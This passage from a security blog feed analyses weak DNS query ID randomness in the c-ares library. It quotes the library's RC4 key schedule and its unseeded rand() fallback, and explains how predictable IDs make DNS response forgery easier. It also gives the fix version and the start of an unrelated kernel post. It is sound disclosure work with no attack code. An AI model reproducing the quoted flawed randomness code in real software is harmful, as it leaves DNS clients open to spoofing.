</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">id</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">do</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">id</span> <span class="o">=</span> <span class="nf">ares__generate_new_id</span><span class="p">(</span><span class="o">&amp;</span><span class="n">channel</span><span class="o">-&gt;</span><span class="n">id_key</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="nf">find_query_by_id</span><span class="p">(</span><span class="n">channel</span><span class="p">,</span> <span class="n">id</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">short</span><span class="p">)</span><span class="n">id</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">unsigned</span> <span class="kt">short</span> <span class="nf">ares__generate_new_id</span><span class="p">(</span><span class="n">rc4_key</span><span class="o">*</span> <span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">r</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nf">rc4</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">r</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">r</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">r</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>In case you&rsquo;re too young or it&rsquo;s been a while: RC4 is a stream cipher designed in 1987 and has gained widespread usage over the years.
However, since its inception, it has been shown to be flawed and insecure multiple times. It is also the reason why Wifi protocols
WPA-TKIP and WEP were both <a href="https://www.rc4nomore.com/">famously</a> <a href="https://www.mattblaze.org/papers/others/rc4_ksaproc.pdf">broken</a>.
So it is not a cipher you&rsquo;d use in 2023.</p>
<p>Using RC4 as cryptographically secure PRNG (CSPRNG) was also quite common some time ago and
it was the core of <a href="https://man.openbsd.org/arc4random"><code>arc4random(3)</code></a> which originated
in OpenBSD and is nowadays part of all BSD-descendants including Apple&rsquo;s macOS and iOS.
However, with the discovery of <a href="https://link.springer.com/content/pdf/10.1007/3-540-45473-X_13.pdf">more</a> and
<a href="https://eprint.iacr.org/2007/120">more</a> ways the RC4 key stream is biased and not properly random,
it became clear that RC4 was unsuitable for use as a CSPRNG. As a result, today&rsquo;s <code>arc4random(3)</code> implementations
use CSPRNGs based on ChaCha20 or AES.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>
<p>Shifting our focus back to c-ares, there is more to be considered: While functions like <code>arc4random(3)</code> did
ensure that new entropy is added after a certain amount of random bytes has
been generated, c-ares takes a different approach. It simply seeds the PRNG once and uses it throughout
the entire lifespan of the <code>ares_channel</code>. This may not be a concern for tools like <code>adig</code> (the <code>dig</code> version of c-ares), since the process will never live long enough. On the other hand, if we consider services which
run for a much longer time and perform a lot of DNS queries, this might be a different story.
Especially, if said service initializes a single <code>ares_channel</code> upon startup and uses it until it is stopped.
While this is probably not really an issue with c-ares, it is common practice to reseed
the PRNG after generating a certain amount of bytes.</p>
<h2 id="broken-twice">Broken Twice</h2>
<p>With our interest peaked, we can start looking more closely into how RC4 is seeded. This is
done in the function <code>init_id_key(rc4_key* key,int key_data_len)</code> which gets handed
in a pointer to the <code>rc4_key</code> type stored in the <code>ares_channel</code> and a number dubbed
<code>key_data_len</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="hl"><span class="lnt">14
</span></span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="hl"><span class="lnt">18
</span></span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="hl"><span class="lnt">25
</span></span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">int</span> <span class="nf">init_id_key</span><span class="p">(</span><span class="n">rc4_key</span><span class="o">*</span> <span class="n">key</span><span class="p">,</span><span class="kt">int</span> <span class="n">key_data_len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">index1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">index2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">state</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">short</span> <span class="n">counter</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">key_data_ptr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">key_data_ptr</span> <span class="o">=</span> <span class="nf">ares_malloc</span><span class="p">(</span><span class="n">key_data_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">key_data_ptr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ARES_ENOMEM</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">key_data_ptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">key_data_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line hl"><span class="cl">  <span class="n">state</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">key</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span><span class="p">(</span><span class="n">counter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">counter</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">counter</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="cm">/* unnecessary AND but it keeps some compilers happier */</span>
</span></span><span class="line"><span class="cl">    <span class="n">state</span><span class="p">[</span><span class="n">counter</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)(</span><span class="n">counter</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">);</span>
</span></span><span class="line hl"><span class="cl">  <span class="nf">randomize_key</span><span class="p">(</span><span class="n">key</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">,</span><span class="n">key_data_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">key</span><span class="o">-&gt;</span><span class="n">x</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">key</span><span class="o">-&gt;</span><span class="n">y</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">index1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">index2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span><span class="p">(</span><span class="n">counter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">counter</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">counter</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line hl"><span class="cl">    <span class="n">index2</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)((</span><span class="n">key_data_ptr</span><span class="p">[</span><span class="n">index1</span><span class="p">]</span> <span class="o">+</span> <span class="n">state</span><span class="p">[</span><span class="n">counter</span><span class="p">]</span> <span class="o">+</span>
</span></span><span class="line"><span class="cl">                              <span class="n">index2</span><span class="p">)</span> <span class="o">%</span> <span class="mi">256</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">ARES_SWAP_BYTE</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">[</span><span class="n">counter</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">state</span><span class="p">[</span><span class="n">index2</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">index1</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)((</span><span class="n">index1</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="n">key_data_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="nf">ares_free</span><span class="p">(</span><span class="n">key_data_ptr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">ARES_SUCCESS</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>We notice that the buffer <code>key_data_ptr</code> is actually
useless, since it is never populated with something other than all zero bytes.
So we can actually ignore it in the calculation of <code>index2</code> in line 25.</p>
<p>Furthermore, the 256-byte buffer <code>key-&gt;state[]</code> is filled with numbers from <code>0</code> to <code>255</code>, and
then handed to a function <code>randomize_key(...)</code> which one would assume shuffles
the contents of <code>key-&gt;state[]</code>. Also notice that we hand
<code>key_data_len</code> to this function. Digging through the header files, we can find
that its value is always <code>ARES_ID_KEY_LEN</code>, which is <code>31</code>. So this is <em>not</em> the
length of <code>key-&gt;state[]</code> which is 256 bytes.</p>
<p>Therefore, it begs the question where the true randomness is fetched from the OS.
Looking at the code above, <code>randomize_key(...)</code> is the only sensible candidate.
Prior to delving into that, let&rsquo;s briefly compare how RC4 is implemented in <a href="https://github.com/openssl/openssl/blob/33388b44b67145af2181b1e9528c381c8ea0d1b6/crypto/rc4/rc4_skey.c#L36-L63">OpenSSL</a>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="hl"><span class="lnt"> 1
</span></span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="hl"><span class="lnt"> 8
</span></span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="hl"><span class="lnt">15
</span></span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line hl"><span class="cl"><span class="kt">void</span> <span class="nf">RC4_set_key</span><span class="p">(</span><span class="n">RC4_KEY</span> <span class="o">*</span><span class="n">key</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">,</span> <span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">register</span> <span class="n">RC4_INT</span> <span class="n">tmp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">register</span> <span class="kt">int</span> <span class="n">id1</span><span class="p">,</span> <span class="n">id2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">register</span> <span class="n">RC4_INT</span> <span class="o">*</span><span class="n">d</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line hl"><span class="cl">    <span class="n">d</span> <span class="o">=</span> <span class="o">&amp;</span><span class="p">(</span><span class="n">key</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span><span class="o">-&gt;</span><span class="n">x</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span><span class="o">-&gt;</span><span class="n">y</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">id1</span> <span class="o">=</span> <span class="n">id2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#define SK_LOOP(d,n) { \
</span></span></span><span class="line"><span class="cl"><span class="cp">                tmp=d[(n)]; \
</span></span></span><span class="line hl"><span class="cl"><span class="cp">                id2 = (data[id1] + tmp + id2) &amp; 0xff; \
</span></span></span><span class="line"><span class="cl"><span class="cp">                if (++id1 == len) id1=0; \
</span></span></span><span class="line"><span class="cl"><span class="cp">                d[(n)]=d[id2]; \
</span></span></span><span class="line"><span class="cl"><span class="cp">                d[id2]=tmp; }
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">d</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">SK_LOOP</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">SK_LOOP</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">SK_LOOP</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">SK_LOOP</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">3</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>We&rsquo;ll notice that <code>init_id_key(...)</code> in c-ares is slightly different and actually broken:</p>
<p>OpenSSL&rsquo;s key schedule implementation receives the raw key via the <code>data</code> buffer,
initializes the state buffer <code>d</code> and then shuffles <code>d</code> and <code>data</code>.</p>
<p>In c-ares, <code>key_data_ptr</code> is OpenSSL&rsquo;s <code>data</code> buffer and <code>state</code> is the
equivalent of pointer <code>d</code>. Knowing this, we can see that c-ares confused
<code>key-&gt;state</code> with <code>key_data_ptr</code> when calling <code>randomize_key(...)</code> which we
assume retrieves a random key.
Consequently, the 256 <code>ARES_SWAP_BYTE(...)</code> operations in c-ares&rsquo; key schedule incorrectly
depend on <code>key-&gt;state</code> only, but not <code>key_data_ptr</code>.</p>
<p>Without going into all the math details here, this definitely looks worse than what the original RC4 key
schedule does as it is likely resulting in fewer possible permutations of <code>key-&gt;state[]</code>.
We can assume that this has a downside on the quality of random numbers it generates.</p>
<h2 id="predictable-randomness">Predictable Randomness</h2>
<p>Finally, let&rsquo;s take a look at the <code>randomize_key(...)</code> more closely:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="hl"><span class="lnt">29
</span></span><span class="lnt">30
</span><span class="lnt">31
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="cm">/* initialize an rc4 key. If possible a cryptographically secure random key
</span></span></span><span class="line"><span class="cl"><span class="cm">   is generated using a suitable function otherwise the code defaults to
</span></span></span><span class="line"><span class="cl"><span class="cm">   cross-platform albeit less secure mechanism using rand
</span></span></span><span class="line"><span class="cl"><span class="cm">*/</span>
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">randomize_key</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">key</span><span class="p">,</span><span class="kt">int</span> <span class="n">key_data_len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">randomized</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">counter</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="cp">#ifdef WIN32
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>  <span class="n">BOOLEAN</span> <span class="n">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">res</span> <span class="o">=</span> <span class="nf">RtlGenRandom</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">key_data_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">res</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">randomized</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#else </span><span class="cm">/* !WIN32 */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#  ifdef CARES_RANDOM_FILE
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>  <span class="n">FILE</span> <span class="o">*</span><span class="n">f</span> <span class="o">=</span> <span class="nf">fopen</span><span class="p">(</span><span class="n">CARES_RANDOM_FILE</span><span class="p">,</span> <span class="s">&#34;rb&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span><span class="p">(</span><span class="n">f</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">counter</span> <span class="o">=</span> <span class="nf">aresx_uztosi</span><span class="p">(</span><span class="nf">fread</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">key_data_len</span><span class="p">,</span> <span class="n">f</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nf">fclose</span><span class="p">(</span><span class="n">f</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="cp">#  endif
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif </span><span class="cm">/* WIN32 */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">randomized</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(;</span><span class="n">counter</span><span class="o">&lt;</span><span class="n">key_data_len</span><span class="p">;</span><span class="n">counter</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line hl"><span class="cl">      <span class="n">key</span><span class="p">[</span><span class="n">counter</span><span class="p">]</span><span class="o">=</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)(</span><span class="nf">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mi">256</span><span class="p">);</span>  <span class="cm">/* LCOV_EXCL_LINE */</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>At first glance, this appears okay: On <code>WIN32</code> systems, <code>RtlGenRandom()</code> is
used to query <code>key_data_len</code> bytes of randomness from the OS and place them
into <code>key</code> which is <code>key-&gt;state[]</code> in the caller <code>init_id_key(...)</code>.</p>
<p>On non-<code>WIN32</code> targets, we either open the file path of <code>CARES_RANDOM_FILE</code> and
read <code>key_data_len</code> bytes from there or fall back to using <code>rand()</code> to get
the same amount of random numbers. We assume that <code>CARES_RANDOM_FILE</code> is
set to <code>/dev/urandom</code> or <code>/dev/random</code> for now.</p>
<p>An initial observation here is that the fallback relies on <a href="https://man7.org/linux/man-pages/man3/rand.3.html"><code>rand(3)</code></a>,
which is not designed for generating cryptographically secure random numbers.
Since it is only a fallback if nothing else works it is better than <a href="https://xkcd.com/221/"><code>return 4;</code></a>,
but it would be a better choice to first try to use <code>arc4random(3)</code> on *BSD or <a href="https://man7.org/linux/man-pages/man2/getrandom.2.html"><code>getrandom(2)</code></a>
on Linux, just in case.</p>
<p>More concerning though, is the absence of any <code>srand(3)</code> in the whole
source, which would seed the PRNG used by <code>rand(3)</code>. Without it, <code>rand(3)</code>
will output the same sequence of numbers <em>every single time</em>!
This means that all our DNS query IDs will be
fully predictable every time we end up in this fallback case.</p>
<p>Looking at the <code>CARES_RANDOM_FILE</code> case, it becomes evident that any error with
<code>fread(3)</code> will silently fail and result again in <code>rand(3)</code> being used.
While c-ares does the best it can in this case, it probably shouldn&rsquo;t fail silently.
At least a few sysadmins would want to know that their DNS queries are
all predictable due to some configuration issue.</p>
<h2 id="compiled-non-randomness">Compiled Non-Randomness</h2>
<p>Finally, there is one more thing in the above code. Whenever <code>CARES_RANDOM_FILE</code>
is not set, it automatically falls back to using <code>rand(3)</code> for seeding the RC4
PRNG. That this can be a problem becomes apparent when we look at the Autotools
<code>configure.ac</code> file:</p>
<pre tabindex="0"><code>dnl Check for user-specified random device
AC_ARG_WITH(random,
AS_HELP_STRING([--with-random=FILE],
               [read randomness from FILE (default=/dev/urandom)]),
    [ CARES_RANDOM_FILE=&#34;$withval&#34; ],
    [
        dnl Check for random device.  If we&#39;re cross compiling, we can&#39;t
        dnl check, and it&#39;s better to assume it doesn&#39;t exist than it is
        dnl to fail on AC_CHECK_FILE or later.
        if test &#34;$cross_compiling&#34; = &#34;no&#34;; then
          AC_CHECK_FILE(&#34;/dev/urandom&#34;, [ CARES_RANDOM_FILE=&#34;/dev/urandom&#34;] )
        else
          AC_MSG_WARN([cannot check for /dev/urandom while cross compiling; assuming none])
        fi

    ]
)
</code></pre><p>As we can see, the existence of <code>/dev/urandom</code> is determined at compile time.
This will likely break in cross-compile situations where this file does not
exist on your build host. We&rsquo;ll then always use the fallback case with the RC4 PRNG seeded by <code>rand(3)</code>!
Luckily enough, c-ares also brings CMake as build system and this is used
for example by the Yocto <a href="http://cgit.openembedded.org/meta-openembedded/tree/meta-oe/recipes-support/c-ares/c-ares_1.19.0.bb?h=master">meta-oe</a> recipe for c-ares, so not all is lost.</p>
<p>Nevertheless, the check for <code>/dev/urandom</code>&rsquo;s existence in c-ares should probably
be done during runtime instead of determining it at compile time.</p>
<h2 id="putting-all-together">Putting All Together</h2>
<p>Combining all these issues, we now know that:</p>
<ul>
<li>c-ares employs an RC4-based PRNG, which is no longer suitable for generating cryptographically secure
random numbers.</li>
<li>Due to the bug in the key schedule, the resultant random numbers will likely be of worse quality
than those of a standard RC4-based PRNG.</li>
<li>The fallback case will always generate the same sequence of DNS query IDs.</li>
<li>Cross-building c-ares without <code>/dev/urandom</code> on the host will result in the fallback case being
used, even if <code>/dev/urandom</code> would be available on the target.</li>
</ul>
<p>This means that DNS query IDs generated by c-ares are not fully random, raising the likelihood of query IDs becoming completely predictable. Consequently, an
attacker&rsquo;s search space for the tuple of source port and DNS query ID is smaller and makes
it more likely to succeed. It basically brings us closer to the good old days
of <a href="https://www.kb.cert.org/vuls/id/800113">CVE-2008-1447</a> where source port randomization was not used by default. :-)</p>
<p>After reporting this issue, the c-ares maintainers published v1.19.1, which rectifies this problem
(<a href="https://github.com/c-ares/c-ares/commit/823df3b989e59465d17b0a2eb1239a5fc048b4e5">fix commit</a>) and
<a href="https://c-ares.org/vulns.html">other</a> recent vulnerabilities. So, better be sure to update c-ares
to the latest version!</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://datatracker.ietf.org/doc/html/rfc5452">RFC5452</a> lists all measures DNS implementations
should take to be more resilient against response forgery.&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>Of course we also checked if the c-ares code base does anything special
with respect to selecting the source port.&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>Shout out to DragonFlyBSD who also managed this just recently in <a href="https://github.com/DragonFlyBSD/DragonFlyBSD/commit/22cd51fe15e7d8e951102064ba0d7e07839d6394">2023</a>! ;-)&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Let's Embed a Go Program into the Linux Kernel</title><link>https://sigma-star.at/blog/2023/07/embedded-go-prog/</link><pubDate>Fri, 21 Jul 2023 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/07/embedded-go-prog/</guid><description><![CDATA[<h1 id="lets-embed-a-go-program-into-the-linux-kernel">Let&rsquo;s Embed a Go Program into the Linux Kernel</h1>
<p>Today, we would like to present a lesser-known feature of the Linux kernel.
Instead of launching a program from a file system, regardless of whether it&rsquo;s virtual or not, it is also possible to embed a user-space program directly into the kernel image itself and start it from there.</p>
<h2 id="introduction">Introduction</h2>
<p>At first glance, this might sound outlandish and of little use, but there are cases where the kernel needs to execute helper programs.
Prominent examples include the module loader helper, <code>/sbin/modprobe</code>, or the Spanning Tree Protocol (STP) helper for Linux&rsquo;s 802.1d Ethernet bridge subsystem, <code>/sbin/bridge-stp</code>.
On Linux, programs are typically launched from a file system using the <code>execve()</code> system call.
The kernel reads the initial parts of the specified file and hands over execution to user space.
Various helper functions exist on top of this system call, but they all have in common that the program to be executed is started from a file.
The same applies to the Linux user mode helper API, which allows executing a program from a driver.
Both scenarios require the program to be installed and loadable.
In most cases, having the program installed is a trivial problem if you have control over all user space, as is the case with a typical Linux distribution.</p>]]></description><content:encoded><![CDATA[<h1 id="lets-embed-a-go-program-into-the-linux-kernel">Let&rsquo;s Embed a Go Program into the Linux Kernel</h1>
<p>Today, we would like to present a lesser-known feature of the Linux kernel.
Instead of launching a program from a file system, regardless of whether it&rsquo;s virtual or not, it is also possible to embed a user-space program directly into the kernel image itself and start it from there.</p>
<h2 id="introduction">Introduction</h2>
<p>At first glance, this might sound outlandish and of little use, but there are cases where the kernel needs to execute helper programs.
